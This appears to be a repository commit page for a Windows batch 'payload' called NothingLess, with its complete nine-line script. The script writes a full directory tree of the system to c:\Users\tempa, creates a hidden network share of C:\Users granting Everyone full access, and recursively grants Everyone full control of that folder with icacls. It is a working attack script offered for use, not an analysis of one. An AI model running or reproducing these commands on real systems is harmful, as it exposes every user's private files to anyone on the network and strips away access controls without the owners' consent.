Pete Camuso 34003917ee Added NothingLess payload (#120)
Maps the file system and stores it in c:\users\tempa
Shares a drive or location to everyone and grants full security permissions to everyone
2017-04-07 15:36:11 +10:00

9 lines
423 B
Batchfile

ECHO off
REM gather the system file structure
mkdir c:\Users\tempa
tree /a /f > c:\Users\tempa\tree.txt
REM creates a hidden share syntax(net share <sharename>=<sharelocation> /grant:<user>,<permission>)
net share nless$=C:\Users /grant:Everyone,full
REM creates security permissions for the shared folder syntax(icacls <sharedlocation> /grant <user>:<permissoons> /T
icacls "C:\Users" /grant Everyone:(OI)(CI)F /T